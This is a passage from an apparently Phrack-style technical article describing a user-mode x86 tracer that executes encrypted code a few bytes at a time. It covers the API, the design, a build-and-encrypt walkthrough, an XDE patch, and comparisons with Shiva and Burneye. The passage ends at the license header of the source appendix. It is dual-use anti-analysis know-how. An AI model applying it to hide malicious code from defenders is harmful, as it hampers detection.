The tracing can be done solely from the user-mode: the instructions
are executed natively, except control-transfer instructions (CALL, JMP,
Jcc, RET, LOOP, JCXZ). The background of this idea is explained
nicely in [3] on the primitive 1960's MIX computer designed by Knuth.
Features of the method I'm about to describe:
o It allows that only portions of the executable file are encrypted.
o Different portions of the executable can be encrypted with different
keys provided there is no cross-calling between them.
o It allows encrypted code to freely call non-encrypted code. In this
case the non-encrypted code is also executed instruction by instruction.
When called outside of encrypted code, it still executes without
tracing.
o There is never more than 24 bytes of encrypted code held in memory in
plaintext.
o OS- and language-independent.
The rest of this section explains the provided API, gives a high-level
description of the implementation, shows a usage example and discusses
Here are the details of my own implementation.
----[ 3.1 - Provided API
No "official" header file is provided. Because of the sloppy and
convenient C parameter passing and implicit function declarations, you
can get away with no declarations whatsoever.
The decryption API consists of one typedef and one function.
typedef (*decrypt_fn_ptr)(void *key, unsigned char *dst, const unsigned
char *src);
This is the generic prototype that your decryption routine must fit. It
is called from the main decryption routine with the following arguments:
o key: pointer to decryption key data. Note that in most cases this is
NOT the raw key but pointer to some kind of "decryption context".
o dst: pointer to destination buffer
o src: pointer to source buffer
Note that there is no size argument: the block size is fixed to 8
bytes. The routine should not read more than 8 bytes from the src and NEVER
output more than 8 bytes to dst.
Another unusual constraint is that the decryption function MUST NOT
modify its arguments on the stack. If you need to do this, copy the stack
arguments into local variables. This is a consequence of how the routine
is called from within the decryption engine - see the code for details.
There are no constraints whatsoever on the kind of encryption which can
be used. ANY bijective function which maps 8 bytes to 8 bytes is suitable.
Encrypt the code with the function, and use its inverse for the
decryption. If you use the identity function, then decryption becomes
simple single-stepping with no hardware support -- see section 4 for
related work.
The entry point to the decryption engine is the following function:
int crypt_exec(decrypt_fn_ptr dfn, const void *key, const void *lo_addr,
const void *hi_addr, const void *F, ...);
The decryption function has the capability to switch between executing
both encrypted and plain-text code. The encrypted code can call the
plain-text code and plain-text code can return into the encrypted code.
But for that to be possible, it needs to know the address bounds of the
encrypted code.
Note that this function is not reentrant! It is not allowed for ANY
kind of code (either plain-text or encrypted) running under the crypt_exec
routine to call crypt_exec again. Things will break BADLY because the
internal state of previous invocation is statically allocated and will
get overwritten.
The arguments are as follows:
o dfn: Pointer to decryption function. The function is called with the
key argument provided to crypt_exec and the addresses of destination
and source buffers.
o key: This are usually NOT the raw key bytes, but the initialized
decryption context. See the example code for the test2 program: first
the user-provided raw key is loaded into the decryption context and the
address of the _context_ is given to the crypt_exec function.
o lo_addr, hi_addr: These are low and high addresses that are encrypted
under the same key. This is to facilitate calling non-encrypted code
from within encrypted code.
o F: pointer to the code which should be executed under the decryption
engine. It can be an ordinary C function pointer. Since the tracing
routine was written with 8-byte block ciphers in mind, the F function
must be at least 8-byte aligned and its length must be a multiple of 8.
This is easier to achieve (even with standard C) than it sounds. See the
example below.
o ... become arguments to the called function.
crypt_exec arranges to function F to be called with the arguments
provided in the varargs list. When crypt_exec returns, its return value is
what the F returned. In short, the call
x = crypt_exec(dfn, key, lo_addr, hi_addr, F, ...);
has exactly the same semantics as
x = F(...);
would have, were F plain-text.
Currently, the code is tailored to use the XDE disassembler. Other
disassemblers can be used, but the code which accesses results must be
changed in few places (all references to the disbuf variable).
The crypt_exec routine provides a private stack of 4kB. If you use your
own decryption routine and/or disassembler, take care not to consume too
much stack space. If you want to enlarge the local stack, look for the
local_stk label in the code.
__
#3 In the rest of this article I will call this interchangeably tracing
or decryption routine. In fact, this is a tracing routine with added
decryption.
----[ 3.2 - High-level description
The tracing routine maintains two contexts: the traced context and
its own context. The context consists of 8 32-bit general-purpose
registers and flags. Other registers are not modified by the routine.
Both contexts are held on the private stack (that is also used for
calling C).
The idea is to fetch, one at a time, instructions from the traced
program and execute them natively. Intel instruction set has rather
irregular encoding, so the XDE [5] disassembler engine is used to find
both the real opcode and total instruction length. During experiments on
FreeBSD (which uses LOCK- prefixed MOV instruction in its dynamic loader)
I discovered a bug in XDE which is described and fixed below.
We maintain our own EIP in traced_eip, round it down to the next lower
8-byte boundary and then decrypt#4 24 bytes#5 into our own buffer. Then
the disassembly takes place and the control is transferred to emulation
routines via the opcode control table. All instructions, except control
transfer, are executed natively (in traced context which is restored at
appropriate time). After single instruction execution, the control is
returned to our tracing routine.
In order to prevent losing control, the control transfer instructions#6
are emulated. The big problem was (until I solved it) emulating indirect
JMP and CALL instructions (which can appear with any kind of complex EA
that i386 supports). The problem is solved by replacing the CALL/JMP
instruction with MOV to register opcode, and modifying bits 3-5 (reg
field) of modR/M byte to set the target register (this field holds the
part of opcode in the CALL/JMP case). Then we let the processor to
calculate the EA for us.
Of course, a means are needed to stop the encrypted execution and to
enable encrypted code to call plaintext code:
1. On entering, the tracing engine pops the return address and its
private arguments and then pushes the return address back to the
traced stack. At that moment:
o The stack frame is good for executing a regular C function (F).
o The top of stack pointer (esp) is stored into end_esp.
2. When the tracing routine encounters a RET instruction it first checks
the traced_esp. If it equals end_esp, it is a point where the F
function would have ended. Therefore, we restore the traced context
and do not emulate RET, but let it execute natively. This way the
tracing routine loses control and normal instruction execution
continues.
In order to allow encrypted code to call plaintext code, there are
lo_addr and hi_addr parameters. These parameters determine the low and high
boundary of encrypted code in memory. If the traced_eip falls out of
[lo_addr, hi_addr) range, the decryption routine pointer is swapped with
the pointer to a no-op "decryption" that just copies 8 bytes from source
to destination. When the traced_eip again falls into that interval, the
pointers are again swapped.
__
#4 The decryption routine is called indirectly for reasons described
later.
#5 The number comes from worst-case considerations: if an instruction
begins at a boundary that is 7 (mod 8), given maximum instruction
length of 15 bytes, yields a total of 22 bytes = 3 blocks. The buffer
has 32 bytes in order to accommodate an additional JMP indirect
instruction after the traced instruction. The JMP jumps indirectly to
place in the tracing routine where execution should continue.
#6 INT instructions are not considered as control transfer. After (if)
the OS returns from the invoked trap, the program execution continues
sequentially, the instruction right after INT. So there are no special
measures that should be taken.
----[ 3.3 - Actual usage example
Given encrypted execution engine, how do we test it? For this purpose I
have written a small utility named cryptfile that encrypts a portion of
the executable file ($ is UNIX prompt):
$ gcc -c cast5.c
$ gcc cryptfile.c cast5.o -o cryptfile
$ ./cryptfile
USAGE: ./cryptfile <-e_-d> FILE KEY STARTOFF ENDOFF
KEY MUST be 32 hex digits (128 bits).
The parameters are as follows:
o -e,-d: one of these is MANDATORY and stands for encryption
or decryption.
o FILE: the executable file to be encrypted.
o KEY: the encryption key. It must be given as 32 hex digits.
o STARTOFF, ENDOFF: the starting and ending offset in the file that should
be encrypted. They must be a multiple of block size (8 bytes). If not,
the file will be correctly encrypted, but the encrypted execution will
not work correctly.
The whole package is tested on a simple program, test2.c. This program
demonstrates that encrypted functions can call both encrypted and plaintext
functions as well as return results. It also demonstrates that the engine
works even when calling functions in shared libraries.
Now we build the encrypted execution engine:
$ gcc -c crypt_exec.S
$ cd xde101
$ gcc -c xde.c
$ cd ..
$ ld -r cast5.o crypt_exec.o xde101/xde.o -o crypt_monitor.o
I'm using patched XDE. The last step is to combine several relocatable
object files in a single relocatable file for easier linking with other
programs.
Then we proceed to build the test program. We must ensure that
functions that we want to encrypt are aligned to 8 bytes. I'm specifying 16
, just in case. Therefore:
$ gcc -falign-functions=16 -g test2.c crypt_monitor.o -o test2
We want to encrypt functions f1 and f2. How do wemap from function
names to offsets in the executable file? Fortunately, this can be simply
done for ELF with the readelf utility (that's why I chose such an awkward
way - I didn't want to bother with yet another ELF 'parser').
$ readelf -s test2
Symbol table '.dynsym' contains 23 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 08048484 57 FUNC GLOBAL DEFAULT UND printf
2: 08050aa4 0 OBJECT GLOBAL DEFAULT ABS _DYNAMIC
3: 08048494 0 FUNC GLOBAL DEFAULT UND memcpy
4: 08050b98 4 OBJECT GLOBAL DEFAULT 20 __stderrp
5: 08048468 0 FUNC GLOBAL DEFAULT 8 _init
6: 08051c74 4 OBJECT GLOBAL DEFAULT 20 environ
7: 080484a4 52 FUNC GLOBAL DEFAULT UND fprintf
8: 00000000 0 NOTYPE WEAK DEFAULT UND __deregister_frame..
9: 0804fc00 4 OBJECT GLOBAL DEFAULT 13 __progname
10: 080484b4 172 FUNC GLOBAL DEFAULT UND sscanf
11: 08050b98 0 NOTYPE GLOBAL DEFAULT ABS __bss_start
12: 080484c4 0 FUNC GLOBAL DEFAULT UND memset
13: 0804ca64 0 FUNC GLOBAL DEFAULT 11 _fini
14: 080484d4 337 FUNC GLOBAL DEFAULT UND atexit
15: 080484e4 121 FUNC GLOBAL DEFAULT UND scanf
16: 08050b98 0 NOTYPE GLOBAL DEFAULT ABS _edata
17: 08050b68 0 OBJECT GLOBAL DEFAULT ABS _GLOBAL_OFFSET_TABLE_
18: 08051c78 0 NOTYPE GLOBAL DEFAULT ABS _end
19: 080484f4 101 FUNC GLOBAL DEFAULT UND exit
20: 08048504 0 FUNC GLOBAL DEFAULT UND strlen
21: 00000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses
22: 00000000 0 NOTYPE WEAK DEFAULT UND __register_frame_info
Symbol table '.symtab' contains 145 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 080480f4 0 SECTION LOCAL DEFAULT 1
2: 08048110 0 SECTION LOCAL DEFAULT 2
3: 08048128 0 SECTION LOCAL DEFAULT 3
4: 080481d0 0 SECTION LOCAL DEFAULT 4
5: 08048340 0 SECTION LOCAL DEFAULT 5
6: 08048418 0 SECTION LOCAL DEFAULT 6
7: 08048420 0 SECTION LOCAL DEFAULT 7
8: 08048468 0 SECTION LOCAL DEFAULT 8
9: 08048474 0 SECTION LOCAL DEFAULT 9
10: 08048520 0 SECTION LOCAL DEFAULT 10
11: 0804ca64 0 SECTION LOCAL DEFAULT 11
12: 0804ca80 0 SECTION LOCAL DEFAULT 12
13: 0804fc00 0 SECTION LOCAL DEFAULT 13
14: 08050aa0 0 SECTION LOCAL DEFAULT 14
15: 08050aa4 0 SECTION LOCAL DEFAULT 15
16: 08050b54 0 SECTION LOCAL DEFAULT 16
17: 08050b5c 0 SECTION LOCAL DEFAULT 17
18: 08050b64 0 SECTION LOCAL DEFAULT 18
19: 08050b68 0 SECTION LOCAL DEFAULT 19
20: 08050b98 0 SECTION LOCAL DEFAULT 20
21: 00000000 0 SECTION LOCAL DEFAULT 21
22: 00000000 0 SECTION LOCAL DEFAULT 22
23: 00000000 0 SECTION LOCAL DEFAULT 23
24: 00000000 0 SECTION LOCAL DEFAULT 24
25: 00000000 0 SECTION LOCAL DEFAULT 25
26: 00000000 0 SECTION LOCAL DEFAULT 26
27: 00000000 0 SECTION LOCAL DEFAULT 27
28: 00000000 0 SECTION LOCAL DEFAULT 28
29: 00000000 0 SECTION LOCAL DEFAULT 29
30: 00000000 0 SECTION LOCAL DEFAULT 30
31: 00000000 0 SECTION LOCAL DEFAULT 31
32: 00000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
33: 08050b54 0 OBJECT LOCAL DEFAULT 16 __CTOR_LIST__
34: 08050b5c 0 OBJECT LOCAL DEFAULT 17 __DTOR_LIST__
35: 08050aa0 0 OBJECT LOCAL DEFAULT 14 __EH_FRAME_BEGIN__
36: 08050b64 0 OBJECT LOCAL DEFAULT 18 __JCR_LIST__
37: 0804fc08 0 OBJECT LOCAL DEFAULT 13 p.0
38: 08050b9c 1 OBJECT LOCAL DEFAULT 20 completed.1
39: 080485b0 0 FUNC LOCAL DEFAULT 10 __do_global_dtors_aux
40: 08050ba0 24 OBJECT LOCAL DEFAULT 20 object.2
41: 08048610 0 FUNC LOCAL DEFAULT 10 frame_dummy
42: 00000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
43: 08050b58 0 OBJECT LOCAL DEFAULT 16 __CTOR_END__
44: 08050b60 0 OBJECT LOCAL DEFAULT 17 __DTOR_END__
45: 08050aa0 0 OBJECT LOCAL DEFAULT 14 __FRAME_END__
46: 08050b64 0 OBJECT LOCAL DEFAULT 18 __JCR_END__
47: 0804ca30 0 FUNC LOCAL DEFAULT 10 __do_global_ctors_aux
48: 00000000 0 FILE LOCAL DEFAULT ABS test2.c
49: 08048660 75 FUNC LOCAL DEFAULT 10 f1
50: 080486b0 58 FUNC LOCAL DEFAULT 10 f2
51: 08050bb8 16 OBJECT LOCAL DEFAULT 20 key.0
52: 080486f0 197 FUNC LOCAL DEFAULT 10 decode_hex_key
53: 00000000 0 FILE LOCAL DEFAULT ABS cast5.c
54: 0804cba0 1024 OBJECT LOCAL DEFAULT 12 s1
55: 0804cfa0 1024 OBJECT LOCAL DEFAULT 12 s2
56: 0804d3a0 1024 OBJECT LOCAL DEFAULT 12 s3
57: 0804d7a0 1024 OBJECT LOCAL DEFAULT 12 s4
58: 0804dba0 1024 OBJECT LOCAL DEFAULT 12 s5
59: 0804dfa0 1024 OBJECT LOCALDEFAULT 12 s6
60: 0804e3a0 1024 OBJECT LOCAL DEFAULT 12 s7
61: 0804e7a0 1024 OBJECT LOCAL DEFAULT 12 sb8
62: 0804a3c0 3734 FUNC LOCAL DEFAULT 10 key_schedule
63: 0804b408 0 NOTYPE LOCAL DEFAULT 10 identity_decrypt
64: 08051bf0 0 NOTYPE LOCAL DEFAULT 20 r_decrypt
65: 08051be8 0 NOTYPE LOCAL DEFAULT 20 key
66: 08050bd4 0 NOTYPE LOCAL DEFAULT 20 lo_addr
67: 08050bd8 0 NOTYPE LOCAL DEFAULT 20 hi_addr
68: 08050bcc 0 NOTYPE LOCAL DEFAULT 20 traced_eip
69: 08050be0 0 NOTYPE LOCAL DEFAULT 20 end_esp
70: 08050bd0 0 NOTYPE LOCAL DEFAULT 20 traced_ctr
71: 0804b449 0 NOTYPE LOCAL DEFAULT 10 decryptloop
72: 08050bc8 0 NOTYPE LOCAL DEFAULT 20 traced_esp
73: 08051be4 0 NOTYPE LOCAL DEFAULT 20 stk_end
74: 0804b456 0 NOTYPE LOCAL DEFAULT 10 decryptloop_nocontext
75: 0804b476 0 NOTYPE LOCAL DEFAULT 10 .store_decrypt_ptr
76: 08051bec 0 NOTYPE LOCAL DEFAULT 20 decrypt
77: 0804fc35 0 NOTYPE LOCAL DEFAULT 13 insn
78: 08051bf4 0 NOTYPE LOCAL DEFAULT 20 disbuf
79: 08051be4 0 NOTYPE LOCAL DEFAULT 20 ilen
80: 080501f0 0 NOTYPE LOCAL DEFAULT 13 continue
81: 0804fdf0 0 NOTYPE LOCAL DEFAULT 13 control_table
82: 0804fc20 0 NOTYPE LOCAL DEFAULT 13 _unhandled
83: 0804fc21 0 NOTYPE LOCAL DEFAULT 13 _nonjump
84: 0804fc33 0 NOTYPE LOCAL DEFAULT 13 .execute
85: 0804fc55 0 NOTYPE LOCAL DEFAULT 13 _jcc_rel8
86: 0804fc5e 0 NOTYPE LOCAL DEFAULT 13 _jcc_rel32
87: 0804fc65 0 NOTYPE LOCAL DEFAULT 13 ._jcc_rel32_insn
88: 0804fc71 0 NOTYPE LOCAL DEFAULT 13 ._jcc_rel32_true
89: 0804fc6b 0 NOTYPE LOCAL DEFAULT 13 ._jcc_rel32_false
90: 0804fc72 0 NOTYPE LOCAL DEFAULT 13 rel_offset_fixup
91: 0804fc7d 0 NOTYPE LOCAL DEFAULT 13 _retn
92: 0804fca6 0 NOTYPE LOCAL DEFAULT 13 ._endtrace
93: 0804fcbe 0 NOTYPE LOCAL DEFAULT 13 _loopne
94: 0804fce0 0 NOTYPE LOCAL DEFAULT 13 ._loop_insn
95: 0804fcd7 0 NOTYPE LOCAL DEFAULT 13 ._doloop
96: 0804fcc7 0 NOTYPE LOCAL DEFAULT 13 _loope
97: 0804fcd0 0 NOTYPE LOCAL DEFAULT 13 _loop
98: 0804fcec 0 NOTYPE LOCAL DEFAULT 13 ._loop_insn_true
99: 0804fce2 0 NOTYPE LOCAL DEFAULT 13 ._loop_insn_false
100: 0804fcf6 0 NOTYPE LOCAL DEFAULT 13 _jcxz
101: 0804fd0a 0 NOTYPE LOCAL DEFAULT 13 _callrel
102: 0804fd0f 0 NOTYPE LOCAL DEFAULT 13 _call
103: 0804fd38 0 NOTYPE LOCAL DEFAULT 13 _jmp_rel8
104: 0804fd41 0 NOTYPE LOCAL DEFAULT 13 _jmp_rel32
105: 0804fd49 0 NOTYPE LOCAL DEFAULT 13 _grp5
106: 0804fda4 0 NOTYPE LOCAL DEFAULT 13 ._grp5_continue
107: 08050bdc 0 NOTYPE LOCAL DEFAULT 20 our_esp
108: 0804fdc9 0 NOTYPE LOCAL DEFAULT 13 ._grp5_call
109: 0804fdd0 0 NOTYPE LOCAL DEFAULT 13 _0xf
110: 08050be4 0 NOTYPE LOCAL DEFAULT 20 local_stk
111: 00000000 0 FILE LOCAL DEFAULT ABS xde.c
112: 0804b419 0 NOTYPE GLOBAL DEFAULT 10 crypt_exec
113: 08048484 57 FUNC GLOBAL DEFAULT UND printf
114: 08050aa4 0 OBJECT GLOBAL DEFAULT ABS _DYNAMIC
115: 08048494 0 FUNC GLOBAL DEFAULT UND memcpy
116: 0804b684 4662 FUNC GLOBAL DEFAULT 10 xde_disasm
117: 08050b98 4 OBJECT GLOBAL DEFAULT 20 __stderrp
118: 0804fc04 0 OBJECT GLOBAL HIDDEN 13 __dso_handle
119: 0804b504 384 FUNC GLOBAL DEFAULT 10 reg2xset
120: 08048468 0 FUNC GLOBAL DEFAULT 8 _init
121: 0804c8bc 364 FUNC GLOBAL DEFAULT 10 xde_asm
122: 08051c74 4 OBJECT GLOBAL DEFAULT 20 environ
123: 080484a4 52 FUNC GLOBAL DEFAULT UND fprintf
124: 00000000 0 NOTYPE WEAK DEFAULT UND __deregister_frame..
125: 0804fc00 4 OBJECT GLOBAL DEFAULT 13 __progname
126: 08048520 141 FUNC GLOBAL DEFAULT 10 _start
127: 0804b258 431 FUNC GLOBAL DEFAULT 10 cast5_setkey
128: 080484b4 172 FUNC GLOBAL DEFAULT UND sscanf
129: 08050b98 0 NOTYPE GLOBAL DEFAULT ABS __bss_start
130: 080484c4 0 FUNC GLOBAL DEFAULT UND memset
131: 080487c0 318 FUNC GLOBAL DEFAULT 10 main
132: 0804ca64 0 FUNC GLOBAL DEFAULT 11 _fini
133: 080484d4 337 FUNC GLOBAL DEFAULT UND atexit
134: 080484e4 121 FUNC GLOBAL DEFAULT UND scanf
135: 08050200 2208 OBJECT GLOBAL DEFAULT 13 xde_table
136: 08050b98 0 NOTYPE GLOBAL DEFAULT ABS _edata
137: 08050b68 0 OBJECT GLOBAL DEFAULT ABS _GLOBAL_OFFSET_TABLE_
138: 08051c78 0 NOTYPE GLOBAL DEFAULT ABS _end
139: 08049660 3421 FUNC GLOBAL DEFAULT 10 cast5_decrypt
140: 080484f4 101 FUNC GLOBAL DEFAULT UND exit
141: 08048900 3421 FUNC GLOBAL DEFAULT 10 cast5_encrypt
142: 08048504 0 FUNC GLOBAL DEFAULT UND strlen
143: 00000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses
144: 00000000 0 NOTYPE WEAK DEFAULT UND __register_frame_info
We see that function f1 has address 0x8048660 and size 75 = 0x4B.
Function f2 has address 0x80486B0 and size 58 = 3A. Simple calculation
shows that they are in fact consecutive in memory so we don't have to
encrypt them separately but in a single block ranging from 0x8048660 to
0x80486F0.
$ readelf -l test2
Elf file type is EXEC (Executable file)
Entry point 0x8048520
There are 6 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz
Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x000c0 0x000c0 R E 0x4
INTERP 0x0000f4 0x080480f4 0x080480f4 0x00019 0x00019 R 0x1
[Requesting program interpreter: /usr/libexec/ld-elf.so.1]
LOAD 0x000000 0x08048000 0x08048000 0x06bed 0x06bed R E 0x1000
LOAD 0x006c00 0x0804fc00 0x0804fc00 0x00f98 0x02078 RW 0x1000
DYNAMIC 0x007aa4 0x08050aa4 0x08050aa4 0x000b0 0x000b0 RW 0x4
NOTE 0x000110 0x08048110 0x08048110 0x00018 0x00018 R 0x4
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .hash .dynsym .dynstr .rel.dyn .rel.plt
.init .plt .text .fini .rodata
03 .data .eh_frame .dynamic .ctors .dtors .jcr .got .bss
04 .dynamic
05 .note.ABI-tag
>From this we see that both addresses (0x8048660 and 0x80486F0) fall into
the first LOAD segment which is loaded at VirtAddr 0x804800 and is placed
at offset 0 in the file. Therefore, to map virtual address to file offset
we simply subtract 0x8048000 from each address giving 0x660 = 1632 and
0x6F0 = 1776.
If you obtain ELFsh [7] then you can make your life much easier. The
following transcript shows how ELFsh can be used to obtain the same
information:
$ elfsh
Welcome to The ELF shell 0.51b3 .::.
.::. This software is under the General Public License
.::. Please visit http://www.gnu.org to know about Free Software
[ELFsh-0.51b3]$ load test2
[*] New object test2 loaded on Mon Jun 13 20:45:33 2005
[ELFsh-0.51b3]$ sym f1
[SYMBOL TABLE]
[Object test2]
[059] 0x8048680 FUNCTION f1
size:0000000075 foffset:001632 scope:Local sctndx:10 => .text + 304
[ELFsh-0.51b3]$ sym f2
[SYMBOL TABLE]
[Object test2]
[060] 0x80486d0 FUNCTION f2
size:0000000058 foffset:001776 scope:Local sctndx:10 => .text + 384
[ELFsh-0.51b3]$ exit
[*] Unloading object 1 (test2) *
Good bye ! .::. The ELF shell 0.51b3
The field foffset gives the symbol offset within the executable, while
size is its size. Here all the numbers are decimal.
Now we are ready to encrypt a part of the executable with a very
'imaginative' password and then test the program:
$ echo -n "password" | openssl md5
5f4dcc3b5aa765d61d8327deb882cf99
$ ./cryptfile -e test2 5f4dcc3b5aa765d61d8327deb882cf99 1632 1776
$ chmod +x test2.crypt
$ ./test2.crypt
At the prompt enter the same hex string and then enter numbers 12 and
34 for a and b. The result must be 1662, and esp before and after must be
the same.
Once you are sure that the program works correctly, you can strip(1)
symbols from it.
----[ 3.4 - XDE bug
During the development, a I have found a bug in the XDE disassembler
engine: it didn't correctly handle the LOCK (0xF0) prefix. Because of the
bug XDE claimed that 0xF0 is a single-byte instruction. This is the
needed patch to correct the disassembler:
--- xde.c Sun Apr 11 02:52:30 2004
+++ xde_new.c Mon Aug 23 08:49:00 2004
@@ -101,6 +101,8 @@
if (c == 0xF0)
{
if (diza->p_lock != 0) flag |= C_BAD; /* twice */
+ diza->p_lock = c;
+ continue;
}
break;
I also needed to remove __cdecl on functions, a 'feature' of Win32 C
compilers not needed on UNIX platforms.
----[ 3.5 - Limitations
o XDE engine (probably) can't handle new instructions (SSE, MMX, etc.).
For certain it can't handle 3dNow! because they begin with 0x0F 0x0F,
a byte sequence for which the XDE claims is an invalid instruction
encoding.
o The tracer shares the same memory with the traced program. If the traced
program is so badly broken that it writes to (random) memory it doesn't
own, it can stumble upon and overwrite portions of the tracing routine.
o Each form of tracing has its own speed impacts. I didn't measure how
much this method slows down program execution (especially compared to
ptrace()).
o Doesn't handle even all 386 instructions (most notably far calls/jumps
and RET imm16). In this case the tracer stops with HLT which should
cause GPF under any OS that runs user processes in rings other than 0.
o The block size of 8 bytes is hardcoded in many places in the program.
The source (both C and ASM) should be parametrized by some kind of
BLOCKSIZE #define.
o The tracing routine is not reentrant! Meaning, any code being executed
by crypt_exec can't call again crypt_exec because it will overwrite its
own context!
o The code itself isn't optimal:
- identity_decrypt could use 4-byte moves.
- More registers could be used to minimize memory references.
----[ 3.6 - Porting considerations
This is as heavy as it gets - there isn't a single piece of machine-
independent code in the main routine that could be used on an another
processor architecture. I believe that porting shouldn't be too difficult,
mostly rewriting the mechanics of the current program. Some points to
watch out for include:
o Be sure to handle all control flow instructions.
o Move instructions could affect processor flags.
o Write a disassembly routine. Most RISC architectures have regular
instruction set and should be far easier to disassemble than x86 code.
o This is self-modifying code: flushing the instruction prefetch queue
might be needed.
o Handle delayed jumps and loads if the architecture provides them. This
could be tricky.
o You might need to get around page protections before calling the
decryptor (non-executable data segments).
Due to unavailability of non-x86 hardware I wasn't able to implement
the decryptor on another processor.
--[ 4 - Further ideas
o Better encryption scheme. ECB mode is bad, especially with
small block size of 8 bytes. Possible alternative is the following:
1. Round the traced_eip down to a multiple of 8 bytes.
2. Encrypt the result with the key.
3. Xor the result with the instruction bytes.
That way the encryption depends on the location in memory. Decryption
works the same way. However, it would complicate cryptfile.c program.
o Encrypted data. Devise a transparent (for the C programmer) way to
access the encrypted data. At least two approaches come to mind:
1) playing with page mappings and handling read/write faults,
or 2) use XDE to decode all accesses to memory and perform encryption
or decryption, depending on the type of access (read or write). The
first approach seems too slow (many context switches per data read)
to be practical.
o New instruction sets and architectures. Expand XDE to handle new x86
instructions. Port the routine to architectures other than i386 (first
comes to mind AMD64, then ARM, SPARC...).
o Perform decryption on the smart card. This is slow, but there is no
danger of key compromise.
o Polymorphic decryption engine.
----[ 5 - Related Work
This section gives a brief overview of existing work, either because of
similarity in coding techniques (ELFsh and tracing without ptrace) or
because of the code protection aspect.
5.1 ELFsh
---------
The ELFsh crew's article on elfsh and e2dbg [7], also in this Phrack
issue. A common point in our work is the approach to program tracing
without using ptrace(2). Their latest work is a scriptable embedded ELF
debugger, e2dbg. They are also getting around PaX protections, an issue I
didn't even take into account.
5.2 Shiva
---------
The Shiva binary encryptor [8], released in binary-only form. It tries
really hard to prevent reverse engineering by including features such as
trap flag detection, ptrace() defense, demand-mapped blocks (so that
fully decrpyted image can't be dumped via /proc), using int3 to emulate
some instructions, and by encryption in layers. The 2nd, password
protected layer, is optional and encrypted using 128-bit AES. Layer 3
encryption uses TEA, the tiny encryption algorithm.
According to the analysis in [9], "for sufficiently large programs, no
more than 1/3 of the program will be decrypted at any given time". This
is MUCH larger amount of decrypted program text than in my case: 24
bytes, independent of any external factors. Also, Shiva is heavily
tied to the ELF format, while my method is not tied to any operating
system or executable format (although the current code IS limited to
the 32-bit x86 architecture).
5.3 Burneye
-----------
There are actually two tools released by team-teso: burneye and burneye2
(objobf) [10].
Burneye is a powerful binary encryption tool. Similarly to Shiva, it has
three layers: 1) obfuscation, 2) password-based encryption using RC4 and
SHA1 (for generating the key from passphrase), and 3) the fingerprinting
layer.
The fingerprinting layer is the most interesting one: the data about the
target system is collected (e.g. amount of memory, etc..) and made into
a 'fingeprint'. The executable is encrypted taking the fingerprint into
account so that the resulting binary can be run only on the host with the
given fingerprint. There are two fingerprinting options:
o Fingeprint tolerance can be specified so that Small deviations are
allowed. That way, for example, the memory can be upgraded on the
target system and the executable will still work. If the number of
differences in the fingeprint is too large, the program won't work.
o Seal: the program produced with this option will run on any system.
However, the first time it is run, it creats a fingerprint of the
host and 'seals' itself to that host. The original seal binary is
securely deleted afterwards.
The encrypted binary can also be made to delete itself when a certain
environment variable is set during the program execution.
objobf is just relocatable object obfuscator. There is no encryption
layer. The input is an ordinary relocatable object and the output is
transformed, obfuscated, and functionally equivalent code. Code
transformations include: inserting junk instructions, randomizing the
order of basic blocks, and splitting basic blocks at random points.
5.4 Conclusion
--------------
Highlights of the distinguishing features of the code encryption
technique presented here:
o Very small amount of plaintext code in memory at any time - only 24
bytes. Other tools leave much more plain-text code in memory.
o No special loaders or executable format manipulations are needed. There
is one simple utility that encrypts the existing code in-place. It is
executable format-independent since its arguments are function offsets
within the executable (which map to function addresses in runtime).
o The code is tied to the 32-bit x86 architecture, however it should be
portable without changes to any operating system running on x86-32.
Special arrangements for setting up page protections may be necessary
if PaX or NX is in effect.
On the downside, the current version of the engine is very vulnerable
with respect to reverse-engineering. It can be easily recognized by
scanning for fixed sequences of instructions (the decryption routine).
Once the decryptor is located, it is easy to monitor a few fixed memory
addresses to obtain both the EIP and the original instruction residing at
that EIP. The key material data is easy to obtain, but this is the case
in ANY approach using in-memory keys.
However, the decryptor in its current form has one advantage: since it is
ordinary code that does no special tricks, it should be easy to combine
it with a tool that is more resilient to reverse-engineering, like Shiva
or Burneye.
----[ 6 - References
1. Phrack magazine.
http://www.phrack.org
2. ptrace tutorials:
http://linuxgazette.net/issue81/sandeep.html
http://linuxgazette.net/issue83/sandeep.html
http://linuxgazette.net/issue85/sandeep.html
3. D. E. Knuth: The Art of Computer Programming, vol.1: Fundamental
Algorithms.
4. Fenris.
http://lcamtuf.coredump.cx/fenris/whatis.shtml
5. XDE.
http://z0mbie.host.sk
6. Source code for described programs. The source I have written is
released under MIT license. Other files have different licenses. The
archive also contains a patched version of XDE.
http://www.core-dump.com.hr/software/cryptexec.tar.gz
7. ELFsh, the ELF shell. A powerful program for manipulating ELF files.
http://elfsh.devhell.org
8. Shiva binary encryptor.
http://www.securereality.com.au
9. Reverse Engineering Shiva.
http://blackhat.com/presentations/bh-federal-03/bh-federal-03-eagle/
bh-fed-03-eagle.pdf
10. Burneye and Burneye2 (objobf).
http://packetstormsecurity.org/groups/teso/indexsize.html
----[ 7 - Credits
Thanks go to mayhem who has reviewed this article. His suggestions were
very helpful, making the text much more mature than the original.
--[ A - Appendix: Source code
Here I'm providing only my own source code. The complete source package
can be obtained from [6]. It includes:
o All source listed here,
o the patched XDE disassembler, and
o the source of the CAST5 cryptographic algorithm.
----[ A.1 - The tracer source: crypt_exec.S
/*
Copyright (c) 2004 Zeljko Vrba
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
